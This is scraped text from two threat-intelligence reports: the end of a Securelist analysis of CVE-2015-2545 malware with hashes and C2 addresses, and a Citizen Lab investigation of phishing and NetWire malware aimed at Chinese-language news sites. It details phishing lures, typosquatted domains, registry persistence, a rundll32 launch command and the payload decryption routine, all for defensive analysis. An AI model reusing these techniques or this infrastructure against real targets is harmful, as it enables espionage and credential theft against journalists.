Example of CnC communication: Based on the CnC response, the sample: Provides shell via cmd.exe Creates directory Lists files in directory Deletes file Uploads given file to CnC https://cdn.securelist.com/files/2016/05/dantiapt_eng_30.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 43/50 Enumerates drives, gets their type and available space Launches given file Moves file Writes and appends to given file Uninstalls itself 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 44/50 File Name mshtml.dll MD5 be0cc8411c066eac246097045b73c282 or bae673964e9bc2a45ebcc667895104ef or different File type PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit Compilation timestamp 2015-12-28 07:45:20 Size 72192 bytes mshtml.dll repeats entirely the functionality of its dropper (CnC communication and commands processing) in its IEhelper export and is built on the same source code.
http.exe trojan 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 45/50 MD5 6bbdbf6d3b24b8bfa296b9c76b95bb2f  Sun, 13 Apr 2008 18:32:45 GMT Drops file to Temp\IXP000.TMP\http.exe and launches it.
5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 46/50 Filename http.exe MD5 3fbe576d33595734a92a665e72e5a04f  Wed, 13 Jan 2016 10:25:10 GM CnC carwiseplot.no-ip.org/news/news.asp Sets registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run IME_hp  ALLUSERPROFILE\Accessories\wordpade.exe HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run IME_hp  ALLUSERPROFILE\Accessories\wordpade.exe HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IME_hp  ALLUSERPROFILE\Accessories\wordpade.exe Copies itself to ALLUSERPROFILE\Accessories\wordpade.exe, launches it and exits self-process.
wordpade.exe file proceeds: Creates mutex Global\wordIE.
Stores keystrokes and windows titles to Temp\dumps.dat and xors it with 0x99.
Knocks to CnC via IE instance: carwiseplot.no- ip.org/news/news.asp Includes the following field in HTTP-header: Cookie: ID1x, where x  Volume Serial number of disk C 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 47/50 Based on the CnC response, the sample: Provides shell via cmd.exe Lists files in all drives and writes to given file Retrieves OS version, Local IP, installed browser, Computer name, User name and writes to given file Writes to given file Deletes given file Uploads given file to CnC Makes screenshots and writes to file Temp\makescr.dat Retrieves proxy settings and proxy authentication credentials from Mozilla (signons.sqlite, logins.json) and Chrome files (LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data), Microsoft WinInet storage, Microsoft Outlook Appendix B: Danti sample hashes Emails: aae962611da956a26a76d185455f1d44 (chanceryindianembassy.hu) 3ed40dec891fd48c7ec6fa49b1058d24 (amb.bogotamea.gov.in) 1aefd1c30d1710f901c70be7f1366cae (amb.copenhagenmea.gov.in) https://cdn.securelist.com/files/2016/05/dantiapt_eng_31.png 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 48/50 f4c1e96717c82b14ca76384cb005fbe5 (India, dsfsinic.in) 1ba92c6d35b7a31046e013d35fa48775 (India, chumarpostgmail.com) 6d55eb3ced35c7479f67167d84bf15f0 (India, Cabinet Secretary) Doc (Web Archive File): C591263d56b57dfadd06a68dd9657343 (HQ List) Aebf03ceaef042a833ee5459016f5bde (Mission List) Fd6636af7d2358c40fe6923b23a690e8 (Indias 10 Top Luxury Hotels) Docx: D91f101427a39d9f40c41aa041197a9c (Holidays in India in 2016) EPS: 07f4b663cc3bcb5899edba9eaf9cf4b5 (India, from Mission list) a90a329335fa0af64d8394b28e0f86c1 (India, HQ List) B751323586c5e36d1d644ab42888a100 (India, Hotels) 8cd2eb90fabd03ac97279d398b09a5e9 (Holidays in India in 2016) CAB dropper: 6bbdbf6d3b24b8bfa296b9c76b95bb2f RarSFX: d0407e1a66ee2082a0d170814bd4ab02 4902abe46039d36b45ac8a39c745445a Potplayer: f16903b2ff82689404f7d0820f461e5d (clean tool) Trojans: 6bbdbf6d3b24b8bfa296b9c76b95bb2f (dropper, from cab-archive) 3fbe576d33595734a92a665e72e5a04f (http.exe) 8ad9cb6b948bcf7f9211887e0cf6f02a (lsass.exe) 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 49/50 9469dd12136b6514d82c3b01d6082f59 be0cc8411c066eac246097045b73c282 (mshtml.dll) bae673964e9bc2a45ebcc667895104ef d44e971b202d573f8c797845c90e4658 (update.dat) 332397ec261393aaa58522c4357c3e48 (potplayer.dll) 2460871a040628c379e04f79af37060d (appinfo.dat) C2 74.208.4.200 74.208.4.201 180.150.227.135 Goback.strangled[.
]net:443 carwiseplot.no-ip[.
]org (115.144.69.54, 115.144.107.9) newsupdate.dynssl[.
]com (103.61.136.120) dnsnews.dns05[.
]com (118.193.12.252) Appendix C: sample hashes of SVCMONDR attacks Emails: 7a60da8198c4066cc52d79eecffcb327 (Taiwan, janeteranger.com.tw) Doc (Web Archive File): d0533874d7255b881187e842e747c268 (Taiwan, 1-3.doc) EPS: 98c57aa9c7e3f90c4eb4afeba8128484 (Taiwan) Trojans: 8052234dcd41a7d619acb0ec9636be0b (svcmondr.ex, Taiwan) 046b98a742cecc11fb18d9554483be2d (svcmondr.ex,Thailand) 5/25/2016 CVE-2015-2545: overview of current threats  securelist.com https://www.readability.com/articles/xnt9jvry 50/50 C2: 59.188.13.204 180.128.10.28 www.ocaler.mooo[.
]com www.onmypc.serverpit[.
]com Original URL: https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current- threats/ https://kas.pr/APT_reporting_SL_text_button
7/5/2017 Insider Information An intrusion campaign targeting Chinese language news sites citizenlab.ca /2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/ Key Findings This report reveals a campaign of reconnaissance, phishing, and malware operations that use content and domains made to mimic Chinese language news websites.
We confirm the news portal China Digital Times was the target of a phishing operation and show how content and domains were made to mimic four other newsgroups in reconnaissance and malware operations: Mingjing News, Epoch Times, HK01, and Bowen Press.
We cannot confirm if these other groups were directly targeted.
These news websites report on issues sensitive to the government of China and are blocked in the country.
However, this report does not conclusively attribute the campaign to a publicly reported threat actor or state sponsor.
The malware operation made efforts to evade detection and frustrate analysis.
The operation combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the malicious payload.
We identify the payload as NetWire, a commodity remote access trojan typically seen used in cybercrime activities and not commonly observed in Asia.
We connect the infrastructure used in the campaign to previous malware operations targeting a Tibetan radio station and the Thai government.
We also connect one of the code signing certificates we observed to a campaign targeting gaming companies.
It is notable that NetWire was also used as a payload in that campaign.
Summary A journalist at China Digital Times (CDT), (an independent Chinese and English language news portal), receives an email from a source claiming to have a tip on a sensitive story: I have insider information that is different from what youve published.
The email includes a link to an article from the news portal.
Clicking on the link displays the article with a pop-up message asking the journalist to enter their username and password in prompt designed to look like a WordPress login page.
What is normally a routine interaction for the journalist has become increasingly threatening.
The tip from the source is actually an attempt to steal the journalists WordPress credentials used to manage and publish content to the news portal.
The rouse used in the phishing email was clever, but it did not work.
The journalist was immediately suspicious of the phishing attempts and shared them with researchers at the Citizen Lab to analyze, which led to the discovery of a wider campaign targeting Chinese language news sites using various tactics including reconnaissance, phishing, and malware.
The campaign used domains and copied content that masqueraded as Epoch Times, Mingjing News, HK01, and Bowen Press.
It is not clear if these other news groups were directly targeted.
These organizations often report on issues that are politically sensitive to the government of China and their websites are blocked in the country.
Our analysis of the infrastructure used in this campaign reveals connections to previous malware operations targeting Tibetan journalists and the Thai government.
These incidents includes targets that are generally within the geopolitical interest of the government of China.
However, this report does not conclusively attribute the campaign to a publicly reported threat actor or state sponsor.
There are numerous incidents of journalists and news organizations reporting on China being targeted by digital 1/23 https://citizenlab.ca/2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/ http://chinadigitaltimes.net/ http://www.theepochtimes.com/ http://mingjingnews.com/ https://www.hk01.com/ https://bowenpress.com/ https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure1.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure2.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure3.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure4.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure5-1.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure6.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure7.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure8.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure9.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure10.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_htmlsnippet.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure11.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure12.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure13.png https://citizenlab.ca/wp-content/uploads/2017/07/insiderinfo_figure14.png espionage operations.
In 2009, as part of the GhostNet investigation, Citizen Lab found that China-based operators had infiltrated the mail servers of Associated Press offices in London and Hong Kong.
Another investigation in 2009, by Nart Villeneuve and Greg Walton uncovered a targeted malware campaign against China-based journalists working at Reuters, the Straits Times, Dow Jones, Agence France Presse, and Ansa.
In recent years other major news organizations, including the The New York Times, the Wall Street Journal, and the Washington Post, have reported intrusions of their networks and systems by China-based operators.
In each incident, the operators were suspected to be sponsored by the government of China with the motivation of gathering information on China- related reporting that the newspapers were covering.
These historical incidents and the campaign we analyze in this report serve as a general reminder that the media are targets for digital espionage and, as a result, news organizations and journalists need to reflect on their business practices and behaviours and adopt a more systematic approach to information security.
This report proceeds in five parts outlined below: Part 1: Phishing Operation Targeting China Digital Times This section describes phishing messages sent to China Digital Times and our subsequent investigation into the tactics and server infrastructure used in the operation.
Part 2: Uncovering a Wider Campaign This section reveals how the operation against China Digital Times was part of a wider campaign of phishing, reconnaissance, and malware operations that used domains and content made to mimic four other Chinese- language news organizations, Epoch Times, Mingjing News, HK01, and Bowen Press.
Part 3: Malware Operation This section describes a malware operation that used content and domains made to mimic Chinese-language news organizations HK01 and Bowen Press.
The malware operation made efforts to evade detection and frustrate analysis.
The operation combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the malicious payload.
We identify the payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
Part 4: Campaign Connections This section links infrastructure used in the campaign against Chinese-language news site to  previous malware campaigns targeting a Tibetan radio station and the Thai government.
It also shows the same certificate information used to sign the malware in this campaign was used by other malware operations targeting gaming companies.
Part 5: Discussion and Conclusions This section summarizes the characteristics of the campaign and how it reflects wider information security challenges for news organizations and journalists.
Part 1: Phishing Operation Targeting China Digital Times This section describes a phishing messages sent to China Digital Times and our subsequent investigation into the tactics and server infrastructure used in the operation.
A Suspicious Tip: I Have Insider Information China Digital Times is a multi-language news portal that reports on political issues in China and aggregates Internet 2/23 https://citizenlab.ca/wp-content/uploads/2017/05/ghostnet.pdf https://www.nartv.org/2009/09/28/targeted-malware-attack-on-foreign-correspondentE28099s-based-in-china/ http://www.nytimes.com/2013/01/31/technology/chinese-hackers-infiltrate-new-york-times-computers.html https://www.wsj.com/articles/SB10001424127887323926104578276202952260718 https://www.washingtonpost.com/business/technology/hackers-break-into-washington-post-servers/2013/12/18/dff8c362-682c-11e3-8b5b-a77187b716a3_story.html?utm_term.97c39e270cc4 content that has been censored in the country.
It was founded by Xiao Qiang, a Professor at the University of California, Berkeley who has been engaged in human rights activism since the 1989 Tiananmen Square Massacre.
On February 12, 2017, a CDT staff member received an email from a person claiming to be a UC Berkeley student with insider information on claims made by  (Guo Yungui) on hacker attacks against the Chinese language news site Mingjing News.
The characters  (Guo Yungui) appears to be a slight variation of Guo Wengui ( ), a Chinese billionaire who has gained notoriety after voicing allegations that high ranking officials in the Communist Party of China are engaged in corruption.
In January 2017 he had an interview with Mingjing News in which he made further unconfirmed allegations regarding official corruption and abuse.
Following this interview, the editor of Minjing News, claimed several sites and channels of Mingjing were attacked by vicious groups controlled by corrupt parties.
The email sent to CDT included a link that directly referenced an IP address rather than a domain name.
The staff member was immediately suspicious and did not click on the link (see below): Original Email Text From: papa papa hellomicemail.com Date: February 13 2017 Subject: ,  To: [REDACTED] hXXp://43.240.14.37/asdasdasadqddd12222111[.
]php/article.aspsearch.php English Translation From: papa papa hellomicegmail.com Date: February 13 2017 Subject: I am a student of UC Berkeley.
I want to get to know you and I have some explosive revelations for you To: [REDACTED] Id like to reveal some detailed insider information on Guo Yunguis claims that Chinese hackers attacked Mingjing News website.hXXp://43.240.14.37/asdasdasadqddd12222111[.
]php/article.aspsearch.php Three days later, the staff member received another email offering insider information on the Mingjing attacks.
This email included a link that, at first glance, appeared to be the domain of China Digital Times, but with a slight misspelling.
Instead of chinadigitaltimes.net the link sent was chinadagitaltimes[.
]net with an added a instead of an i in the word digital.
A day after this email was sent, other staff members at CDT received similar emails with the same link (see below).
Original Email Text From: sda daaa aisia.anminda8mail.com Date: February 14 2017 Subject: To: [REDACTED]  :hXXp://www.chinadagitaltimes[.
]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/  English Translation 3/23 https://www.ischool.berkeley.edu/people/xiao-qiang http://www.pbs.org/wgbh/pages/frontline/tankman/interviews/xiao.html http://m.weekly.caixin.com/m/2015-03-27/100795235.html https://globalvoices.org/2017/06/05/exiled-tycoons-corruption-expose-rattles-chinas-politics/ https://www.youtube.com/watch?vyjF6UWVvfmQ http://cn.rfi.fr/E4B8ADE59BBD/20170212-E6988EE9959CE794B5E8A786E79BB4E692ADE983ADE69687E8B4B5EFBC8CE68B89E5BC80E4B8ADE59BBDE694BFE6B2BBE5A4A7E6888F From: sda daaa aisia.anminda8mail.com Date: February 14 2017 Subject: hi, Id like to offer you some insider information.
To: [REDACTED] I have the latest information on an article published by China Daily.
Its about follow-ups on the incident of Chinese hackers and some insider information on the recent attacks against Mingjing News.
Link to the article.
hXXp://www.chinadagitaltimes[.
]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/The information presented in the article is slightly different from the information I know.
The link connects to a web page that mirrors content from the real CDT website displaying an article related to hacker groups from China (see Figure 1 for comparison of the real and fake content).
Figure 1: Comparison of the real and fake CDT webpages.
Visually, the content is identical.
The only substantive difference between the real and fake content is a few lines of javascript code (see Figure 2).
Figure 2: Snippet of Javascript code in the source of the fake China Digital Times webpage.
The function of this code is to pop a window on the screen that says , [Your login has expired, please log in again] (see Figure 3).
4/23 Figure 3: Screenshot of the fake China Digital Times webpage and the popup message displayed.
If the OK button is clicked, the user is forwarded to what appears to be a WordPress login page (see Figure 4).
5/23 Figure 4: Fake WordPress Login page Credentials entered into this page are sent to the operators.
Following entry of credentials, users are forwarded to the real CDT site.
The real CDT website runs on WordPress, and therefore the purpose of this phishing campaign is to steal credentials to the actual CDT website and gain access.
The operators customized a fake domain to host real content and developed custom phishing pages for stealing the WordPress credentials demonstrating a substantial level of effort.
Phishing Operation Timeline Through analysis of the server used to host the phishing pages and the phishing emails sent to CDT we documented the activities and timeline of the operation, which lasted for approximately 20 days (see Figure 5).
The operation began with the operators scanning the real CDT website for vulnerabilities.
Five days later the first phishing email was sent.
The next day the operators registered the domain mimicking the CDT site, set up the fake site, and sent out phishing emails with links to it.
Over the next week further phishing emails were sent to CDT.
Through analysis of log files found on the server we observed what appears to be the operators testing the phishing page during this period.
The last phishing email sent to CDT was on February 20.
Eight days later the fake CDT website was taken down and no further phishing emails were sent.
6/23 Figure 5: Timeline of the phishing operation targeting China Digital Times Reconnaissance and phishing server This section provides analysis of the server used for reconnaissance and phishing activities.
We find fake domains and content related to China Digital Times and Mingjing News on this server.
The links sent in the emails to CDT are both on the same IP address: 43[.]240[.]14[.
]37, hosted by Cloudie, a hosting provider based in Hong Kong.
The link provided in the first phishing email sent to CDT included the full IP address of the server.
hXXp://43.240.14.37/asdasdasadqddd12222111[.
]php/article.aspsearch.php Four days after the first phishing email was sent to CDT we accessed the content on the page and found it served content copied from a Mingjing News article about illicit sales of Chinese visas (See Figure 6 for comparison of the real and fake content).
Figure 6: Comparison of the real and fake Mingjing news site The fake page did not render correctly and was missing content, which may be due to improper mirroring of the 7/23 http://www.mingjingnews.com/TV/video/V000013942 content, or possibly because the page relies on external content in a location that changed since the initial copy.
Comparing the legitimate page to the fake page finds no addition of code by the operator on the fake page.
Reconnaissance Server Log Analysis We investigated the directory of the fake Minjing News page and found the content was modified on February 14, 2017 and discovered a file log.txt.
This file is a custom log that captures three pieces of information from every visitor to the page: IP address, web browser user agent, and time visited (see Figure 7).
There is no malicious content on the page.
We suspect that the purpose of this page is to perform reconnaissance of targets by testing if users will click on the link, and by retrieving IP addresses and user agent information.
Figure 7: Server directory containing the log.txt file.
The first visit in the log file is on February 2, 2017 from the IP address 45[.]124[.]24[.
]39 which is also hosted on Cloudie.
This visit is likely from the operators because it was the first visit and from the same provider on which the server is hosted.
There are also two visits in the logs within seconds of each other, from the IP address 125[.]86[.]123[.
]47 (ChinaNet, Chongqing China) Examining the email headers from the phishing emails reveals two IP addresses, including the same Cloudie IP and another ChinaNet Chongqing IP (see below): 45[.]124[.]24[.
]39 Cloudie HK 141[.]08[.]99[.
]155: ChinaNet Chongqing We shared these IP addresses with CDT to check if the addresses had visited the real CDT website around the period of the phishing emails.
We found that the Cloudie IP address (45[.]124[.]24[.
]39) visited the real CDT web site 42,000 times on February 8 2017, during a four hour period.
The rate of the requests, user agents utilized, and information requested indicates that these visits were attempts to enumerate HTTP paths on the website to test for vulnerabilities.
This scan occurred less than a week before the operators staged the phishing page sent to CDT.
Phishing Server Log Analysis 8/23 Between February 14 and 28, 2017, a direct visit to the URL hXXp://43[.]240[.]14[.
]37 returned a copy of the CDT homepage (see Figure 8).
Figure 8: Comparison of the real frontpage of CDT (as seen on day the emails were sent) and the fake webpage This fake homepage was not included in the emails sent to CDT.
The operators potentially included this homepage if users clicked the link in the email and then viewed the top level URL to ensure they were on the right site (see below).
Email Link: chinadagitaltimes[.
]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic Home page: chinadagitaltimes[.
]net The directory of chinadagitaltimes[.
]net/2016/07 shows the content listed on the server and lists the last modified date of the content as February 15, 2017 (see Figure 9).
Figure 9: An index listing on the phishing server.
We found a file log.txt on the fake CDT home page and article web pages.
This log file records the IP address, browser user agent, and timestamp of visitors to the pages.
We found an additional log in the URL of the fake WordPress login page that captures username, password and date to record credentials that are entered.
9/23 The logs only included what we suspect to be fake credentials, which demonstrates the phishing attempts were unsuccessful.
The first entry on February 16, 2017 may be a record of the operator testing the phishing page.
username:1111----password:1111----2017-02-16 09:26:14 On February 28, we again see what appear to be test credentials added.
username:12312----password:1232131----2017-02-28 10:25:33 Phishing Operation Final Stages On February 20, the CDT staff member who received the original phishing email was sent a follow-up email that responded to an auto away message from the staff member and reminded the recipient about the link that was sent.
This was the last phishing email sent to CDT (see below): Original Email Text From: papa papa hellomicemail.com To: [REDACTED] Date: February 20 2017 Subject: Fwd: , [REDACTED]: :) thx Sent: February 14 2017 From: [REDACTED] To: papa papahellomicemail.com Subject: Re: , 20 2017-02-13 18:34 GMT-08:00 papa papa hellomicemail.com  hXXp://43.240.14.37/asdasdasadqddd12222111[.
]php/article.aspsearch.php English Translation From: papa papa hellomicemail.com To: [REDACTED] Date: February 20 2017 Subject: Fwd: I am a student at UC Berkeley.
I want to get to know you and I have some exclusive information to expose.
I would like to publish an article.
How do I register and log in?
thx Sent: Tuesday, February 14, 2017 at 1:35 PM From: [REDACTED] Subject: Re: I am a student at UC Berkeley.
I want to get to know you and I have some exclusive information to expose.
To: papa papa hellomicemail.com Thanks for the email.
Unfortunately I dont have time before 20th this month.
Please contact me again at the end of this month.
Thank you.2017-02-13 18:34 GMT-08:00 papa papa hellomicemail.com I would like to expose some materials to you.
It is about the insider information of Guo Yunguis claim that Chinese hackers attacked Ming Jing News.
hXXp://43.240.14.37/asdasdasadqddd12222111[.
]php/article.aspsearch.php 10/23 Later on the same day, the phishing pages and log files were taken offline serving a 404 error if visited.
The bare IP of the server (43[.]240[.]14[.
]37) also switched to returning a default CentOS test page.
After the site was taken down on February 28 no additional phishing emails were sent and we observed no other activity.
Analysis of passive DNS records and WHOIS registration information associated with the server infrastructure used to host the fake CDT page led to the discovery that the phishing operation targeting CDT was part of a wider campaign.
Part 2: Uncovering a Wider Campaign This section reveals how the operation against China Digital Times was part of a wider campaign of phishing, reconnaissance, and malware operations that used domains and content made to mimic four other Chinese language news organizations.
Infrastructure Connections After examining the server used to host the fake CDT page and referencing passive DNS records and WHOIS registration information, we found other fake domains registered by the same entity with copied content from Chinese-language news sites.
Our analysis shows that the operators are using the fake domains for at least three different purposes: reconnaissance, phishing, and malware.
We were only able to collect phishing emails sent to CDT and cannot confirm if the other media organizations were direct targets or if the fake domains were used to target other groups.
Table 1 provides an overview of groups that the operator attempted to mimic through fake domains and / or copied content.
Organization Fake Domain Registered Site contents copied Confirmed targeting Purpose China Digital Times X X X Phishing Mingjing News X Recon HK01 X Malware Bowen Press X X Unknown Epoch Times X Unknown The fake domains are linked by common WHOIS registration information, which shows they were all registered by the same entity.
The WHOIS registration information used to register the fake CDT domain is as follows: Name: free tibet Mailing Address: Uniter states, Phoenix Arizona 86303 US Phone: 1.2126881188 Email: aobama_5yahoo.com We found a series of domains registered with the same information.
The majority of these domains are designed to mimic domains of Chinese-language news sites.
We resolved each domain to determine if they are active and which IP they resolve to (see Table 2).
11/23 Domain Registration Date Real Organization Hosting Status (As of March 15th) secuerserver[.
]com 2015-08-31 GoDaddy (secureserver.com) Not resolving bowenpres[.
]com 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpress[.
]net 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpress[.
]org 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpross[.
]com 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) datalink[.
]one 2016-07-07 n/a Gorillaservers chinadagitaltimes[.
]net 2017-02-14 China Digital Times (chinadigitaltimes.net) Cloudie HK epochatimes[.
]com 2017-02-27 Epoch Times (theepochtimes.com) Cloudie HK The registration dates show the operators have been registering fake domains that mimic Chinese language news websites since 2015, when they registered domains made to look like the real domain of news site Bowen Press ( bowenpress[.
]com).
We investigated the servers hosting the domains and found the operators use two servers for different purposes: one for phishing and reconnaissance activities and another to serve malware.
The phishing and reconnaissance server hosted the fake CDT domain, the fake Mingjing page, and a domain made to look like the legitimate domain of Epoch Times (a multilingual media organization started by Chinese-American Falun Gong supporters.
On February 26 2017, the operators registered a fake domain mimicking the main Epoch Times domain (epochtimes[.
]com), which adds an additional a after epoch (epochatimes[.
]com).
Following our discovery of the fake Epoch Times domain we notified the organization and shared indicators of compromise.
Epoch Times found a Cloudie IP (103.200.31[.
]164) that sent 24,183 requests during a 12 hour period on March 8, 2017 to the subscription page of Epoch Times at the URL subscribe.epochtimes.com.
These requests appear to be attempts to enumerate HTTP paths, similar to the requests sent to China Digital Times on February 8.
Given the timeframe of the registration of the fake Epoch Times domain, we suspect the operators may have moved from targeting CDT to Epoch Times.
The fake Epoch Times domain was hosted on the same server as the fake CDT and Mingjing pages (43.240.14[.
]37).
However, we did not find content copied from any Epoch Times websites on the operators infrastructure during the investigation and did not have any phishing emails reported to us.
It is possible that the fake Epoch Times domain is being used for phishing or reconnaissance, but we are unable to confirm.
In addition to phishing and reconnaissance activities the operators are also engaged in malware operations and have a dedicated server for this purpose.
We discovered the malware server by resolving the domain: datalink[.
]one, and found it hosted NetWire, a commodity remote access trojan, and included bait content and 12/23 domains designed to mimic Chinese-language news organizations HK01 and Bowen Press.
Part 3: Malware Operation This section describes a malware operation that used content and domains made to mimic Chinese-language news organizations HK01 and Bowen Press.
The malware operation made efforts to evade detection and frustrate analysis.
The operation combined obfuscated, packed executables, and custom shellcode with an additional step of using compromised servers to host the malicious payload.
We identify the payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
Malware server and analysis Our investigation of the malware operation began with analysis of the server used to host the malware.
The malware server is on the IP address: 23[.]239[.]106[.
]119 hosted by GorillaServers, a provider based in the United States.
We found the server by resolving the domain datalink[.
]one, which was one of the domains registered by the operators.
On the server we found domains and copied content mimicking HK01 and Bowen Press, but cannot confirm if these groups were direct targets of the malware operation or if the content was used as lures to target other groups.
Passive DNS records for the IP address: 23[.]239[.]106[.
]119 show a number of other domains that we have connected to the operators including: Domains datalink[.
]one get.adobe.com.bowenpress[.
]org hk.secuerserver[.
]com pop.secuerserver[.
]com smtpout.secuerserver[.
]com www.bowenpress[.
]org www.mail.secuerserver[.
]com www.secuerserver[.
]com www.vnews[.
]hk We found that some of these domains were used as command and control servers for the malware we found hosted on the domain.
HK01 Lure When we first investigated the malware server on March 6, 2017 we found it was hosting what appears to be a copy of the frontpage of HK01, a Hong Kong-based news site (see Figure 10).
13/23 Figure 10: Comparison of real and fake HK01 webpages The copied version of the HK01 site is missing the centre content displayed on the real site.
Instead it shows a link with the following text: Adobe Flash Player  [Adobe Flash Player this version is outdated.
Please click].
The link connects to: hXXp://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate[.
]html Clicking this link initiates a download of an executable and then forwards the user to the legitimate Adobe update site.
These action are done through the following HTML code: We browsed the directory of 23[.]1239[.]1106[.
]119/adobe/update and found three different sub directories that each served three different executables (see Figure 11).
A fourth sub directory and fourth executable appeared on March 12, 2017.
Analysis of these executables shows they are malware.
14/23 Figure 11: Server directory containing malicious executables.
Malware Analysis The malicious binaries combined obfuscated, packed executables, and custom shellcode with an additional step of using compromised servers to host the malicious payload.
We identify the final payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities.
The four executables we found in the Adobe update directory are named to appear as an update for Adobe Flash followed by a date stamp (e.g., AdobeUpdate20160703.exe).
Each malware file was digitally signed: File Certificate Details AdobeUpdate20160703.exe Serial: 57 be 1a 00 d2 e5 9b db d1 95 24 aa a1 7e d9 3b Valid From: Thursday, November 19, 2015 5:45:01 PM Valid To: Saturday, November 19, 2016 5:45:01 PM AdobeUpdate20160812.exe Serial: 68 be c5 c0 26 4c c9 09 6d 2f b2 0a 98 86 e9 4d Valid From: Monday, June 15, 2015 4:00:00 PM Valid To: Thursday, June 15, 2017 3:59:59 PM 15/23 AdobeUpdate20161201.exe AdobeUpdate20170312.exe Elex do Brasil Participaes Ltda Serial: 06 71 ee 52 6a cb 6f 9b e2 01 f5 a8 e2 03 c4 1c Valid From: Sunday, April 12, 2015 4:00:00 PM Valid To: Wednesday, July 12, 2017 3:59:59 PM File Certificate Details All four samples are packed with VMProtect, software used to obfuscate source code to make anaylsis and reverse engineering more difficult.
When executed the samples unpack and drop a second VMProtect-packed DLL to the following location: C:\Program Files\Common Files\Microsoft Shared\VGX\Stub.dll Before executing the dropped DLL via rundll32 as shown: rundll32.exe C:\Program Files\Common Files\Microsoft Shared\VGX\Stub.dll,Install This stub DLL unpacks itself and then gains persistence by creating a new autorun service: COM Event Log .
The DLL edits the following registry keys to create this new service: HKLM\Software\Microsoft\Windows NT\CurrentVersion\SvcHost\EventSystemLog HKLM\System\CurrentControlSet\Services\EventSystemLog HKLM\System\CurrentControlSet002\Services\EventSystemLog HKLM\System\CurrentControlSet003\Services\EventSystemLog Once the DLL has gained persistence it starts the newly created service.
When run as part of a service, the DLL unpacks itself and attempts to download what appears to be a jpg file hosted on one of three websites: a Chinese- language news organization, a University, and a software company.
Each of the 4 samples uses a different URL.
Each of these files begins with a 631 byte jpg header followed by encrypted shellcode.
The malware first decrypts the payload immediately after the jpg header using the following algorithm: for i  0 i  len(payload) i payload[i]  (16  ((((payload[i]  0x50)  4) i)  0xf)  0xef)  payload[i] The decrypted payload begins with a short header consisting of an unsigned 32 bit integer that is the size of the stage 2 payload, an unsigned 32 bit integer used as a checksum, and 64 bytes of padding.
This header is followed by a block of shellcode and a second encrypted payload (see Figure 12).
The shellcode decrypts the stage 2 payload using RC4 with different 256-bit keys for each sample.
16/23 http://vmpsoft.com/ Figure 12: Hex code showing jpg header followed by encrypted shellcode This decrypted data contains additional shellcode followed by a PE file.
We identify the PE file as the Netwire RAT.
The final stage shellcode acts as a loader and maps the RAT into memory and resolves the RATs imports before jumping to the RATs entrypoint.
Netwire RAT is a multi-platform RAT (Remote Access Tool) that first appeared in 2012.
Since its appearance, Netwire RAT has been used in a variety of attacks ranging from stealing credit card data to targeted campaigns against health care and banking sectors.
The Netwire samples we analyzed are capable of a wide-range of behavior including: Reading stored usernames and passwords from common apps including: Web Browsers Email Clients 17/23 https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data https://threatpost.com/netwire-rat-back-stealing-payment-card-data/122156/ https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/ Instant Messaging Clients Keylogging Taking Screenshots Audio capture Screen recording Process listing, creation, killing, etc.
Uploading and downloading files Each of the 4 fake jpg files contains a Netwire sample containing different configuration settings.
After analyzing the samples we recovered the configuration settings for each sample (see Appendix A).
The use of multiple layers of packed or obfuscated payloads is likely an attempt to evade detection and analysis.
Downloading the RAT each time the malware runs could be an attempt to hide the final payload, as the Netwire samples are never written to disk.
This process makes direct analysis difficult without memory images or an understanding of the payload decryption and shellcode routines to decrypt the RAT manually.
Using different configurations for each sample could be an attempt to use specific domains tailored to each target, or to allow for the use of multiple domains as fallbacks in case previously used domains are discovered and blocked.
